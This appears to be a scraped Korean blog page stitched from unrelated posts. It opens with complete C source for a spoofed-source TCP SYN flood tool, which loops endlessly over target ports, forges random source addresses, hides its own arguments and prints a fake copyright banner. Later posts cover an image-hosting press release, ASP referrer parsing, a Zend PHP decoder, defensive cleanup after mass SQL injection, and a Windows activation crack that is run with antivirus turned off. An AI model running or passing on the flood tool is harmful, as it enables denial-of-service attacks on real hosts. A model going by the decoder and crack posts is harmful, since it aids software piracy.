#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
 register int nleft = len;
 register u_short *w = addr;
 register int sum = 0;
 u_short answer = 0;
 
 while (nleft > 1)
   {
    sum += *w++;
    nleft -= 2;
   }
 if (nleft == 1)
   {
    *(u_char *) (&answer) = *(u_char *) w;
    sum += answer;
   }
 sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
 sum += (sum >> 16);           /* add carry */
 answer = ~sum;                /* truncate to 16 bits */
 return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
 printf("[H[JSignal Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
 printf("[H[JSegmentation Violation Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}

unsigned long getaddr(char *name) {
 struct hostent *hep;
 
 hep=gethostbyname(name);
 if(!hep) {
  fprintf(stderr, "Unknown host %s\n", name);
  exit(1);
 }
 return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
 char buf[65536];
 struct {  /* rfc 793 tcp pseudo-header */
  unsigned long saddr, daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
 } ph;
 
 struct sockaddr_in sin; /* how necessary is this, given that the destination
     address is already in the ip header? */
 
 ph.saddr=ih->saddr;
 ph.daddr=ih->daddr;
 ph.mbz=0;
 ph.ptcl=IPPROTO_TCP;
 ph.tcpl=htons(sizeof(*th)+dlen);
 
 memcpy(buf, &ph, sizeof(ph));
 memcpy(buf+sizeof(ph), th, sizeof(*th));
 memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
 memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
 th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
 
 memcpy(buf, ih, 4*ih->ihl);
 memcpy(buf+4*ih->ihl, th, sizeof(*th));
 memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
 memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
 
 ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
 memcpy(buf, ih, 4*ih->ihl);
 
 sin.sin_family=AF_INET;
 sin.sin_port=th->dest;
 sin.sin_addr.s_addr=ih->daddr;
 
 if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
  printf("Error sending syn packet.\n"); perror("");
  exit(1);
 }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
 int i, s;
 struct iphdr ih;
 struct tcphdr th;
 struct sockaddr_in sin;
 int sinsize;
 unsigned short myport=6969;
 char buf[1024];
 struct timeval tv;
 
 ih.version=4;
 ih.ihl=5;
 ih.tos=0;   /* XXX is this normal? */
 ih.tot_len=sizeof(ih)+sizeof(th);
 ih.id=htons(random());
 ih.frag_off=0;
 ih.ttl=30;
 ih.protocol=IPPROTO_TCP;
 ih.check=0;
 ih.saddr=my_ip;
 ih.daddr=their_ip;
 
 th.source=htons(srcport);
 th.dest=htons(port);
 th.seq=htonl(SEQ);
 th.doff=sizeof(th)/4;
 th.ack_seq=0;
 th.res1=0;
 th.fin=0;
 th.syn=1;
 th.rst=0;
 th.psh=0;
 th.ack=0;
 th.urg=0;
 th.res2=0;
 th.window=htons(65535);
 th.check=0;
 th.urg_ptr=0;
 
 gettimeofday(&tv, 0);
 
 send_tcp_segment(&ih, &th, "", 0);
 
 send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
 int i;
 char schar;
 switch(cnt)
   {
   case 0:
      {
       schar = '|';
       break;
      }
   case 1:
      {
       schar = '/';
       break;
      }
   case 2:
      {
       schar = '-';
       break;
      }
   case 3:
      {
       schar = '\\';
       break;
      }
   case 4:
      {
       schar = '|';
       cnt = 0;
       break;
      }
   }
 printf("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
 cnt++;
 for(i=0; i<26; i++)  {
  i++;
  curc++;
 }
}
void init_signals()
{
 // Every Signal known to man. If one gives you an error, comment it out!
 signal(SIGHUP, sig_exit);
 signal(SIGINT, sig_exit);
 signal(SIGQUIT, sig_exit);
 signal(SIGILL, sig_exit);
 signal(SIGTRAP, sig_exit);
 signal(SIGIOT, sig_exit);
 signal(SIGBUS, sig_exit);
 signal(SIGFPE, sig_exit);
 signal(SIGKILL, sig_exit);
 signal(SIGUSR1, sig_exit);
 signal(SIGSEGV, sig_segv);
 signal(SIGUSR2, sig_exit);
 signal(SIGPIPE, sig_exit);
 signal(SIGALRM, sig_exit);
 signal(SIGTERM, sig_exit);
 signal(SIGCHLD, sig_exit);
 signal(SIGCONT, sig_exit);
 signal(SIGSTOP, sig_exit);
 signal(SIGTSTP, sig_exit);
 signal(SIGTTIN, sig_exit);
 signal(SIGTTOU, sig_exit);
 signal(SIGURG, sig_exit);
 signal(SIGXCPU, sig_exit);
 signal(SIGXFSZ, sig_exit);
 signal(SIGVTALRM, sig_exit);
 signal(SIGPROF, sig_exit);
 signal(SIGWINCH, sig_exit);
 signal(SIGIO, sig_exit);
 signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
   unsigned lowport, highport;
   char buf[1024], *junk;
  
   init_signals();  
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
  
   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be used\n\n\n");
     
      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else   
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
  
   if (diff > -1)
     {
 printf("[H[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
 for (i=1;i>0;i++)
   {
      srandom((time(0)+i));
      srcport = getrandom(1, max)+1000;
      for (x=lowport;x<=highport;x++)
        {
    if ( urip == 1 )
      {
         a = getrandom(0, 255);
         b = getrandom(0, 255);
         c = getrandom(0, 255);
         d = getrandom(0, 255);
         sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
         me_fake = getaddr(junk);
      }
   
    spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
    /* A fair delay. Good for a 28.8 connection */
    usleep(300);
   
    if (!(floodloop = (floodloop+1)%(diff+1))) {
       upsc(); fflush(stdout);
    }
        }
   }
     }
   else {
      printf("High port must be greater than Low port.\n");
      exit(1);
   }
}

2009/06/18 16:40 2009/06/18 16:40
-쇼핑몰 이용 고객 및 판매 상품수 늘면서 이미지 호스팅 수요 급증 
 
(주)오픈코리아 [웹아티](www.openkr.com 대표 김영삼)가 이미지호스팅의 사양을 업그레이드 한다고 30일 밝혔다.

회사 측에 따르면,
이번에 실시된 업그레이드에서는 동일 가격에 웹공간 용량이 최대 2배 가까이 증량된 것이 특징.

소호형의 경우 웹공간은 기존 500MB에서 1G로, 이코노미형은 1G에서 2G로, 비즈니스형은 2G에서 4G로 늘어났으며, 실버형과 골드형은 각 3G에서 6G, 6G에서 10G로 최대 200% 늘어났다.

 
(주)오픈코리아[웹아티] 이미지호스팅 담당자는“불황을 맞아 알뜰 쇼핑을 위한 쇼핑몰 이용자 수가 급격히늘고 있는데다 소비자 기호를 충족시키기 위한 판매 상품의 다양화로 이미지 호스팅 수요가 급증하고 있다”고 설명했다.

그는“쇼핑몰 운영자들이 가장 필요로 하는 웹공간에 대한 서비스 업그레이드를 통해 고객 만족도가 크게 향상될 것으로 기대한다”고 덧붙였다.  


<백지영 기자> jyp@ddaily.co.kr
2009/06/08 13:00 2009/06/08 13:00
URL 파싱 함수이며, 유입경로중에 도메인만 걸러내는 함수이다.

function URL_Parser(strURL)
   dim ObjRegExp
   on error resume next
   set ObjRegExp = New RegExp
   With ObjRegExp
      .Global = true
      .IgnoreCase = true
      .Pattern = "http://(([a-zA-Z][-a-zA-Z0-9]*([.][a-zA-Z][-a-zA-Z0-9]*){0,3})||([0-9]{1,3}([.][0-9]{1,3}){3}))"
      workURL = .Replace(strURL, "")
   end With
 
   set ObjRegExp = nothing
   URL_Parser = Replace(strURL, "http://", "", 1, -1, 1)

end function

HTTP_REFERER 를 이용해서 이전 URL 정보를 받는다.
얻어진 정보가 없다는것은 브라우저에서 직접 입력했거나 빈페이지에서 즐겨찾기등이라는것을 의미한다.
set_URL 값을 이용 통계 테이블에 해당 도메인이 존재하면 카운터 증가 / 없으면 추가 등으로 작업한다.

get_URL = Request.ServerVariables("HTTP_REFERER")

if get_URL = "" or isnull(get_URL) then
   set_URL = "Direct Connect"
else
   set_URL = URL_Parser(get_URL)
end If
2009/05/27 17:36 2009/05/27 17:36


zend로 인코딩(?)되어 있는 프로그램을 소스로 바꿔주는 프로그램입니다.

저는 해봤는데 잘 됩니다

남의 창작물을 도둑질하는 용도로만 사용 안되길 바랄 뿐입니다.

실행방법은

c:\some path>php.exe aa.php

(여기서 aa.php는 인코딩된 php파일이다.)

결과는 aa.de.php 로 파일이 생성된다.

다들 알겠지만 윈도우를 사용한다면 귀찮게 명령어를 쓸게 아니라

탐색기에서 해당파일 또는 링크로 해당파일을 프로그램에 떨어뜨리면

arg로 처리되므로 원래 위치에

filename.de.php

로 파일이 생성됨을 확인할 수 있다.


2009/05/27 11:00 2009/05/27 11:00

요즘 많은 분들이 MASS SQL Injection 으로 피해를 보고 있는것 같습니다. 필자도 물론 예외는 아니였습니다.
지금에야 '쿠키를 이용한 인젝션공격이였습니다' 라고 이야기를 하지만 얼마전까지만해도 스크립트가 추가된 구문을 볼때마다 필자가 관리하는 서버를 사용하는 분들에게 송구스러운 마음이 참 많았습니다.

예전부터 심심치 않게 SQL Injection 을 이용한 스크립트 삽입공격은 있었습니다.
쿼리스트링에 추가하여서 공격하는 수준이였기때문에 웹나이트(Webknight) 문법으로 전부 막아내는 쿼거(?)도 이루었던 적도 있습니다.

이렇게 자만하다 큰코다친겁니다.  제가 관리하는 몇개의 사이트가 스크립트가 추가되는 사례가 발견되더니 잊을만 하면 한번씩 스크립트가 추가되는 현상을 발견하게 되었고, 쇼핑몰같은 경우는 데이터베이스를 복구할수도 없는 그런 상황까지 겪게 되었습니다.

"목마른 사람이 우물을 판다"고 했던가요..
일단 삽입이 되도록 하는 구문을 분석하여서 이를 바탕으로 스크립트만 삭제하는 구문을 작성하려고 하였습니다. char, nchar, varchar, nvarchar 는 너무 쉽게 변경이 가능했지만 문제는 text, ntext 같은 대용량의 유니코드 형식의 데이터에서 스크립트를 삭제하는 부분이였습니다.

몇몇 다른 분들의 경우 text 타입을 varchar(8000) 으로 변환하고 이를 수정하는 방법을 선택하셨습니다.
이 방법도 좋은 방법입니다. 쿼리만으로 작업을 진행할수도 있고, 일단 SQL 쿼리를 구하기가 쉬웠습니다. ( SQL 쿼리를 공개해주신 분들 감사합니다.)

그래도 문제는 발생하였습니다. 문자열을 신문을 집어 넣은건지 상당히 큰 text 타입의 데이터를 만나버리고 말았던 것이였습니다.
결국 VBScript 를 이용해서 다시 작업을 하도록 변경하였습니다. (사실 SQL 쿼리 수정보다 VBScript가 더 쉽게 생각되었습니다.;)

이래서 탄생한 Replace_string_in_mssql.vbs 입니다.

열기


내용은 무척 간단합니다. 컬럼중에 text, ntext, varchar, char, nvarchar, nchar 에 해당하는 것들에 대해서 "<script" 라는 구문이 포함되어 있으면 삭제작업을 하는 것으로 text, ntext 타입에 대해서만 특별히 ado를 이용해서 처리하였습니다.


PS) 덕분에 웹방화벽인 웹나이트(webknight) 버젼업그레이드와 룰셋의 추가 작업에 매진(?) 하는 기간이 되었습니다. 계속되고 있습니다. 수정1. 컬럼명이 [컬럼명] 과 같은형식의 컬럼도 처리하도록 수정.
수정2. 내용이 없는 항목에 대한 구문오류 우회토록 수정.
2009/05/27 10:39 2009/05/27 10:39

이 프로그램을 실행 시킨 후 마우스와 키보드를 움직이거나 누르지 마세요.

가만히 기다리면 알아서 시디키를 입력하고 정품인증을 시작합니다.

홈에디션은 인증불가 하고요, 프로페셔널 사용자는 한번에 인증이 않될 시 반복해서 실행해주면 인증 됩니다.

저는 한번에 되더라구요 ^^:

아.. 그리고 보안프로그램을 사용하시는 분은 실시간 감시를 중지하시고 하세요.

2009/05/27 10:24 2009/05/27 10:24